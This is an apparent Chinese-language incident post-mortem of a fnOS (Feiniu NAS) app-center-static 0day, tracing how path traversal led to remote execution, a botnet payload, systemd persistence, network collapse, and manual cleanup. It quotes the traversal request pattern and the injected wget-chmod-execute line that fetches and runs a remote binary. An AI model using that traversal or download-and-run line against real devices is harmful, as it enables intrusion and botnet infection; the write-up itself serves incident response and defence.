飞牛 NASfnOSapp-center-static 0day 漏洞复盘一次从“全网断线”到系统级持久化后门的完整溯源与清除实战关键词fnOS、飞牛 NAS、0day、路径遍历、远程执行、systemd 持久化、僵尸网络、Linux 安全在很多家庭和小型办公场景中NAS 被视为“稳定、可靠、无需过多维护”的基础设施但现实却恰恰相反——它本质上是一台长期暴露在网络边界的 Linux 服务器。一旦系统组件存在高危漏洞或被错误地开放到公网攻击者就可以在极短时间内完成扫描、利用与植入后门。飞牛 NASfnOS此次 app-center-static 0day 事件正是一次典型的“静默入侵”案例表面只是网络变慢、频繁断线背后却是一整套自动化攻击与持久化控制机制在运行。本文通过一次真实中毒排查过程深入剖析漏洞原理、攻击链路与修复思路帮助读者真正理解这类安全事故的成因与防范要点。一、事件背景一台 NAS拖垮整个网络在家庭与小微办公环境中NAS 往往是全天候在线的“核心节点”。一旦该节点被攻陷其危害远不止数据安全而是会直接影响整个局域网的稳定性。本次事件的导火索并非“系统报毒”而是极其反常的网络行为路由器连接数飙升至20 万级局域网设备频繁掉线、DHCP 获取失败限制 NAS 连接数后全网恢复这表明问题并不在路由器而是来自内网的攻击源。二、漏洞本质app-center-static 路径遍历导致的远程执行经社区分析fnOS 在早期版本中存在一个高危文件访问漏洞/app-center-static/serviceicon/myapp/{0}?size../../../../由于后端对参数未做有效路径过滤攻击者可构造请求直接遍历系统目录读取任意文件在特定条件下写入或替换脚本最终形成远程命令执行RCE这一漏洞具备典型 0day 特征无需认证、无需交互、可自动化批量扫描利用。从 Web 服务实现机制来看app-center-static 本质上是一个用于向前端提供应用图标与静态资源的接口其设计初衷是通过 URL 参数动态拼接文件路径再从服务器本地读取对应文件并返回给浏览器。然而在 fnOS 的早期实现中后端仅对参数做了简单字符串拼接并未对 …/、URL 编码后的路径跳转符如 %2e%2e%2f、%7b0%7d 等进行规范化与校验导致攻击者可以利用“路径穿越”绕过目录限制直接访问系统根目录下的任意文件。当这一漏洞与 NAS 系统默认以高权限用户运行的服务特性叠加时风险被进一步放大——攻击者不仅可以读取诸如 /etc/passwd、/etc/shadow、启动脚本等敏感文件还可以在某些可写目录中植入恶意脚本并通过系统启动流程或 Web 服务回调触发执行从而演变为真正意义上的远程命令执行RCE。更危险的是这类漏洞极易被自动化工具规模利用。攻击者通常会在互联网上批量扫描暴露 80/443 端口的 fnOS 设备通过构造固定的漏洞请求模板快速判断目标是否可利用一旦命中便立即下发后门程序实现“秒级感染”。由于整个过程无需登录、无需交互、无明显异常提示受害者往往只能在网络被拖垮或系统被植入后门数天甚至数周后才意识到问题的严重性。这也正是该漏洞被视为典型 0day 的原因——它不仅破坏力强而且具备极高的传播效率与隐蔽性对缺乏安全防护的 NAS 用户构成了系统级威胁。三、攻击链路复盘从漏洞到系统级后门1. 初始入侵攻击者通过批量扫描公网 fnOS 设备一旦命中漏洞立即在系统启动脚本中注入恶意代码。被篡改的关键文件/usr/trim/bin/system_startup.sh该脚本原本负责系统服务初始化却被追加了远程下载执行逻辑。2. 恶意载荷下发被注入的代码会尝试从多个地址下载二进制wgethttp://xxx/turmp -O /tmp/turmpchmod777/tmp/turmp /tmp/turmp这类“多地址轮询”是典型僵尸网络投放手法用于规避封堵。3. 持久化机制为了防止被清除恶意程序会在/usr/lib/systemd/system/中注册伪装服务修改文件为immutablei 属性通过 systemd 开机自启若被删除则由守护进程重新生成四、异常行为的网络层解释现象技术原因NAT 表耗尽恶意代理制造大量并发连接内网广播风暴ARP 扫描与横向探测路由 CPU 飙升conntrack 表爆满WiFi 断线DHCP 请求被阻塞攻击源在内网因此运营商与路由器的外部防护机制完全失效。在家庭或小型办公网络中路由器与交换芯片的设计初衷是应对“正常用户流量”而不是承受服务器级别的高并发连接。当飞牛 NAS 被植入恶意代理或僵尸网络组件后它会在后台不断建立对外连接并同时接收来自公网的转发请求短时间内即可产生成千上万条会话记录。这些连接会被路由器记录在 NAT 映射表与 conntrack 连接跟踪表中而家用设备的表容量通常只有几万条一旦被迅速占满新连接将无法创建直接表现为“所有设备突然无法上网”。与此同时恶意程序往往会在局域网内执行 ARP 扫描与主机探测以寻找可横向入侵的目标。这类行为会以广播方式频繁向交换网络发送请求触发二层广播风暴使交换机和无线路由芯片的转发表频繁刷新CPU 与缓存资源被迅速耗尽。此时即便网络链路本身并未中断设备之间的数据包也会大量丢失导致延迟激增、连接不稳定。当路由器 CPU 被连接跟踪与广播处理任务压满后DHCP 服务也会受到影响新设备将无法正常获取 IP 地址WiFi 表面看似“已连接”实际上却无法访问任何网络资源。由于这些异常流量全部来自内网运营商侧与传统防火墙的防护策略无法识别为外部攻击进一步增加了排查难度这也是为何许多用户最初误以为是“宽带故障”或“路由器老化”的根本原因。五、溯源与清除系统级修复要点1. 停止并禁用恶意服务systemctl stop SazW nginx dockers trim_pap sync_server systemctl disable SazW nginx dockers trim_pap sync_server2. 去除不可修改属性chattr -i /sbin/gots /usr/bin/dockers...3. 强制删除恶意文件rm-rf /sbin/gots /usr/bin/dockers...4. 重载 systemdsystemctl daemon-reload六、为何升级“短暂有效”升级覆盖了 Web 漏洞入口却未清除已植入的后门。系统重启后恶意服务仍会恢复因此症状“暂时消失”只是假象。七、经验与安全建议NAS 属于服务器不是家电任何公网暴露服务都是攻击面固件升级 ≠ 系统干净必须检查 systemd、cron、启动脚本网络异常往往是安全事件的第一信号结语这次事件并非个案而是IoT 与轻服务器设备安全困境的缩影。当系统默认“方便优先”而非“安全优先”时用户必须为其后果买单。真正的安全不是补一个漏洞而是建立完整的威胁模型与响应机制。飞牛 NAS 漏洞事件揭示了一个被长期忽视的事实当边缘设备被攻陷它带来的影响远不止单点失效而是可能成为整个内网的“隐形攻击源”。从路径遍历到远程执行再到 systemd 持久化后门与恶意流量放大这是一条完整而成熟的黑产攻击链。简单的系统升级只能修补入口却无法清除已经植入的恶意组件真正的恢复必须从启动脚本、服务管理、文件属性和网络行为等多层面彻底排查。只有将 NAS 纳入严肃的安全运维体系遵循最小暴露原则并持续监控异常才能避免类似事件再次发生。